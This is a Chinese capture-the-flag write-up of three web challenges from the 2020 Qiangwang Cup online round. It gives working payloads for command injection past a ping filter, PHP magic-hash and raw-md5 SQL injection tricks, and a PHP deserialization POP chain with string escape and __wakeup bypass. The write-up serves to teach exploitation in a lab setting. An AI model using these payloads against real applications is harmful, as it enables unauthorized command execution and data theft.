2020 第四届强网杯 线上赛Web_Writeup


主动

首先题目长这样, 很明显是考查命令执行绕过过滤字符

 <?php
highlight_file("index.php");

if(preg_match("/flag/i", $_GET["ip"]))
{
    die("no flag");
}

system("ping -c 3 $_GET[ip]");

?> 

执行多条命令可以使用;分号或者|管道符闭合上一条命令
绕过方法很多,自己网上找,这里不赘述,payload如下:

?ip=;cat `ls`
?ip=;cat `echo 'Li9mbGFnLnBocAo=' | base64 -d`
?ip=;cat ./fla'g'.php
?ip=;cat ./fl\ag.php
?ip=;cat ./fl''ag.php
?ip=;cat ./fl""ag.php
?ip=;a=fl;b=ag;cat ./$a$b.php
?ip=;cat ./fl${9}ag.php
.......

查看源代码
在这里插入图片描述

Funhash

<?php
include 'conn.php';
highlight_file("index.php");
//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
    die('level 1 failed');
}

//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
    die('level 2 failed');
}

//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc(); 
var_dump($row);
$result->free();
$mysqli->close();
?>

level 1
PHP处理hash字符的时候会将0e开头的字符串解释为0md4md5都是这样,所以只需要找到加密前是以0e开头的,加密后也是0e开头的字符即可,网上找了两个如下:

PS C:\Users\Administrator> php -r "var_dump(hash('md4','0e251288019'));"
string(32) "0e874956163641961271069404332409"

PS C:\Users\Administrator> php -r "var_dump(hash('md4','0e001233333333333334557778889'));"
string(32) "0e434041524824285414215559233446"
?hash1=0e251288019
?hash1=0e001233333333333334557778889

level 2
md5===判断,传入数组即可,并且数组的值不一样即可绕过

&hash2[]=2&hash3=3

level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
这个md5插入的位置很容易就让人联想到字符串ffifdyop经过md5(string,raw)加密后得到:'or'6]!r,b
放在这里正好能构成:select * from flag where password='' or 1注入得到flag

&hash4=ffifdyop

payload:

?hash1=0e251288019&hash2[]=2&hash3[]=3&hash4=ffifdyop

在这里插入图片描述

web辅助

源码目录结构:

└── html
    ├── !
    ├── caches
    │   └── md5($_SERVER['REMOTE_ADDR']
    ├── class.php
    ├── common.php
    ├── index.php
    └── play.php

POP+反序列化字符串逃逸

<?php
class player{
    protected $user;
    protected $pass;
    protected $admin;

    public function __construct($user, $pass, $admin = 0){
        $this->user = $user;
        $this->pass = $pass;
        $this->admin = $admin;
    }

    public function get_admin(){
        return $this->admin;
    }
}

class topsolo{
    protected $name;

    public function __construct($name = 'Riven'){
        $this->name = $name;
    }

    public function TP(){
        if (gettype($this->name) === "function" or gettype($this->name) === "object"){
            $name = $this->name;
            $name();
        }
    }

    public function __destruct(){
        $this->TP();
    }

}

class midsolo{
    protected $name;

    public function __construct($name){
        $this->name = $name;
    }

    public function __wakeup(){
        if ($this->name !== 'Yasuo'){
            $this->name = 'Yasuo';
            echo "No Yasuo! No Soul!\n";
        }
    }
    

    public function __invoke(){
        $this->Gank();
    }

    public function Gank(){
        if (stristr($this->name, 'Yasuo')){
            echo "Are you orphan?\n";
        }
        else{
            echo "Must Be Yasuo!\n";
        }
    }
}

class jungle{
    protected $name = "";

    public function __construct($name = "Lee Sin"){
        $this->name = $name;
    }

    public function KS(){
        system("cat /flag");
    }

    public function __toString(){
        $this->KS();  
        return "";  
    }

}
?>

这里的POP链很简单:

topsolo::__destruct()->topsolo::TP()->midsolo::__invoke()->midsolo::Gank()->jungle::__toString->jungle::KS()

可控点只有$username$password

//index.php
	$username = $_GET['username'];
	$password = $_GET['password'];
	$player = new player($username, $password);
	file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player))); 

显然这两个可控点没有办法满足我们想要反序列化控制其他类的,所以需要逃逸序列化字符

//common.php
function read($data){
    $data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
    return $data;
}
function write($data){
    $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
    return $data;
}

index.phpwrite(serialize($player))write函数写在了序列化之后,然后read()函数读取进行反序列化,然后就可以通过控制$username$password导致溢出序列化字符串

\0*\0长度为5chr(0)."*".chr(0)长度为3,一次\0*\0替换chr(0)."*".chr(0)可以溢出2个字符位置

首先来看POP链的构造得到的序列化字符长度:

<?php 
class topsolo{
	protected $name;
    public function __construct($name = 'Riven'){
        $this->name = $name;
        $this->name = new midsolo($name);
    }
}
class midsolo{
	protected $name;
	public function __construct($name){
		$this->name = $name;
		$this->name = new jungle($name);
	}
}
class jungle{
	protected $name="";
}

$res = new topsolo($name);
echo serialize($res);
 ?>

得到如下字符串,长度为:102

O:7:"topsolo":1:{s:7:" * name";O:7:"midsolo":1:{s:7:" * name";O:6:"jungle":1:{s:7:" * name";s:0:"";}}}

再来看一下player类的序列化结果:

<?php 
class player{
    protected $user;
    protected $pass;
    protected $admin;

    public function __construct($user, $pass, $admin = 0){
        $this->user = $user;
        $this->pass = $pass;
        $this->admin = $admin;
    }

    public function get_admin(){
        return $this->admin;
    }
}

$res = new player($user,$pass);
echo serialize($res);
?>

得到如下字符串

O:6:"player":3:{s:7:" * user";N;s:7:" * pass";N;s:8:" * admin";i:0;}

那么需要吞掉的字符串为:;s:7:" * pass";s:102:",长度:22
一个\0*\0可以逃逸两个字符,那么长度22就需要11\0*\0

username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0
password=;s:7:" * pass";O:7:"topsolo":1:{s:7:" * name";O:7:"midsolo":1:{s:7:" * name";O:6:"jungle":1:{s:7:" * name";s:0:"";}}}

然后因为是protected属性,将*替换为%00*%00或者\00*\00,以及这里考查了几个小姿势

绕过__wakeup,修改对象属性个数大于真实个数即可

//class.php
    public function __wakeup(){
        if ($this->name !== 'Yasuo'){
            $this->name = 'Yasuo';
            echo "No Yasuo! No Soul!\n";
        }
    }

绕过检测字符name,修改属性名小写s为大写S,并使用十六进制绕过即可

//common.php
function check($data)
{
    if(stristr($data, 'name')!==False){
        die("Name Pass\n");
    }
    else{
        return $data;
    }
}

综上所述

username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0
password=;s:7:"%00*%00pass";O:7:"topsolo":1:{S:7:"%00*%00\6eame";O:7:"midsolo":2:{S:7:"%00*%00\6eame";O:6:"jungle":1:{S:7:"%00*%00\6eame";s:0:"";}}}
?username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=;s:7:"%00*%00pass";O:7:"topsolo":1:{S:7:"%00*%00\6eame";O:7:"midsolo":2:{S:7:"%00*%00\6eame";O:6:"jungle":1:{S:7:"%00*%00\6eame";s:0:"";}}}

传入payload
在这里插入图片描述
访问play.php触发反序列化
在这里插入图片描述

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

末 初

谢谢老板!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值